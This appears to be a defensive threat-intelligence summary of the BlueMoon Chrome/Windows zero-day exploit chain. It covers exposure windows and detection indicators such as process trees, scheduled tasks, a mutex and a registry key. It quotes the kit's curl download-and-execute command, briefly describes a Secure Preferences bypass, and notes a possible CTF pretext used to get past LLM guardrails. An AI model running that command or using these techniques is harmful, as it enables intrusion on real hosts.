Once in a BlueMoon: Multiple State-Aligned Threat Actors Rapidly Adopt Novel Chrome/Windows Zero-Day Chain

What it is

The BlueMoon exploit kit chains three zero-days — V8 type-confusion RCE (CVE-2026-85046), a V8 sandbox escape (CVE-2026-87491), and a Windows kernel LPE (CVE-2026-85880). The summary covers the actors and internals; what matters for a decision-to-act is the narrow exposure window and the high-signal detection surface, both of which the page spells out concretely.

Preconditions / Affected

The chain only fully succeeds on a specific configuration, which sharply limits who is actually at risk:

• Browser side: Both V8 bugs were "patch-gap" zero-days — fixed in upstream Chromium source but not yet in stable Chrome/Edge/Brave/Vivaldi. CVE-2026-85046's fix was committed 7 Aug 2026 but not rolled into stable Chromium until 3 Sep 2026 — a ~4-week public-diff window. If you are on current stable (post–3 Sep 2026), the browser leg is closed.
• Windows side: The LPE (CVE-2026-85880) only works on older Windows builds (a fixed allowlist the kit checks twice, via a recon DLL and again in the LPE DLL). Many are unsupported, though Windows 10 still holds meaningful desktop share. The LPE DLL's compile timestamp is 2025 and appears genuine — Proofpoint assesses it was a pre-existing capability repackaged, not built for BlueMoon.

Net: modern Windows on current-stable Chromium is not exploitable by the full chain. The at-risk population is old-Windows hosts running unpatched Chromium browsers.

What to do

The default config prioritizes speed over stealth, giving several high-confidence detections:

• Process tree (default deployments): chrome.exe -> cmd.exe -> curl.exe -> msgbox.exe. The default post-exploit command is verbatim:

curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"

• Dropped files: ChromeUpdate.exe or msgbox.exe in %TEMP%.
• Scheduled tasks: EdgeCore_AutoUpdate (UNK_LateNight/ShadowPad); MicrosoftEdgeUpdatesTaskMachine and Avpcheckup (UNK_DoubleCheck); GeForceService (UNK_QuietRacket).
• Chrome sessionStorage key: v8ctf_exp_attempt (the kit's retry counter).
• Mutex: Dataupcheckinfo (UNK_DoubleCheck).
• Registry persistence: HKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32 (UNK_DoubleCheck).

A YARA rule (MAL_BlueMoon_ExploitKit, condition 3 of them, both plaintext and Base64 forms of each string) and ET rules are provided on the page. Note the GemStone extension defeats Chromium Secure Preferences by recomputing valid HMACs/super_mac from the browser seed + user SID (Rubrik/Synacktiv technique), so extension-integrity checks won't flag it.

Caveats

The AI-assisted-development thesis is explicitly unconfirmed — Proofpoint lists indicators (handover markdown docs/v8-ctf-chrome-stage4-handover.md, verbose debug comments, v8CTF references) but states no single artifact proves it, and the v8CTF framing may be a pretext to bypass LLM guardrails. Some BlueMoon usage is unattributed; it is not established as China-exclusive. Proofpoint expects proliferation to financially motivated actors as the recon/LPE gating is trivially bypassable and the barrier to this class of capability is assessed to be falling.